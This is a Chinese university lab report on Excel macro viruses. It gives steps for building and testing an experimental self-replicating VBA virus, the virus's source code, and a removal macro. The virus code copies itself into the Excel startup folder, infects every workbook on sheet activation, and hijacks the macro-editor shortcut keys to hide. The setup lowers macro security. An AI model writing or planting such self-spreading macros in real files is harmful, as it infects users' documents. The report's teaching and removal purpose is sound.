宏病毒分析及清除实验报告.doc

宏病毒分析及清除实验报告一、 实验目的（1） 掌握office下宏病毒的基本原理（2） 掌握清除宏病毒的方法（3） 学会使用“宏”和脚本语言进行基本编程的技术二、 实验内容（1）用宏或脚本语言编写一个实验性“宏病毒”程序。（2）对实验性文档进行感染实验。（3）编写一个清除防御程序。对实验性文档中的病毒进行清除。三、 实验环境操作系统环境：window XP编程环境：office VBA四、 实验方法步骤（1）打开Excel，新建一个文档名为“test”（2）点击“工具-宏-宏”，在对话框“宏的位置”选择“test”，在宏名中输入“autoclose”，然后点击“创建”按纽（3）在office VBA编程环境中输入程序代码，并保存，然后推出VBA（4）点击“工具-宏-安全性”，在安全性对话框中的安全级标签中选择“低”，在可靠性来源标签中选择“信任对VB项目的访问”（5）保存并关闭“test”文档（6）新建一个文档test1，关闭后重新打开，观察test1是否被感染（7）清除此宏病毒，即要同时删除normal模板、所有活动模板、染毒文件的autoclose宏。五、Excel宏病毒程序代码 Sub auto_open()On Error Resume NextIf ThisWorkbook.Path Application.StartupPath And Dir(Application.StartupPath & & StartUp.xls) = ThenApplication.ScreenUpdating = FalseThisWorkbook.Sheets(StartUp).CopyActiveWorkbook.SaveAs (Application.StartupPath & & StartUp.xls)n$ = ActiveWorkbook.NameActiveWindow.Visible = FalseWorkbooks(StartUp.xls).SaveWorkbooks(n$).Close (False)End IfApplication.OnSheetActivate = StartUp.xls!copApplication.OnKey %F11, StartUp.xls!escapeApplication.OnKey %F8, StartUp.xls!escapeEnd SubSub cop()On Error Resume NextIf ActiveWorkbook.Sheets(1).Name StartUp ThenApplication.ScreenUpdating = Falsen$ = ActiveSheet.NameWorkbooks(StartUp.xls).Sheets(StartUp).Copy before:=Worksheets(1)Sheets(n$).SelectEnd IfEnd SubSub escape()On Error Resume NextApplication.OnSheetActivate = StartUp.xls!backApplication.OnKey %F11Application.OnKey %F8Application.SendKeys %F11Application.SendKeys %F8For Each book In WorkbooksApplication.DisplayAlerts = FalseIf book StartUp.xls Then book.Sheets(StartUp).DeleteNextFor Each book In WorkbooksIf book.Name = StartUp.xls Thenbook.CloseEnd IfNextEnd SubSub back()On Error Resume NextApplication.OnKey %F8, StartUp.xls!escapeApplication.OnKey %F11, StartUp.xls!escapeApplication.OnSheetActivate = StartUp.xls!copApplication.OnTime Now + TimeValue(00:00:01), StartUp.xls!copWorkbooks.Open Application.StartupPath & StartUp.xlsEnd Sub六、如何删除宏病毒置换掉Documents and SettingsadministratorApplication DataMicrosoftExcelXLSTARTstartup.xls文件中的病毒代码，以后再打开带毒的excel文件就会自动清除excel文件自带的病毒宏代码了。删除宏病毒程序代码 Sub auto_open()On Error Resume NextApplication.ScreenUpdating = FalseActiveWindow.Visible = Falsen$ = ActiveWorkbook.NameWorkbooks(n$).Close (False)Application.OnSheetActivate = StartUp.xls!copEnd SubSub cop()On Error Resume NextDim VBC As ObjectDim Name As StringDim delComponent As VBComponentName = StartUpFor Each book In WorkbooksSet delComponent = book.VBProject.VBComponents(Name)book.VBProject.VBComponents.Remove delComponentNextEnd Sub七、关于宏病毒 宏病毒是一种利用应用程序宏语言编制的计算机病毒，它附着在某个文件上，当用户打开这个文件时，宏病毒就被激活，并产生连锁性的感染。宏病毒主要感染文件有 word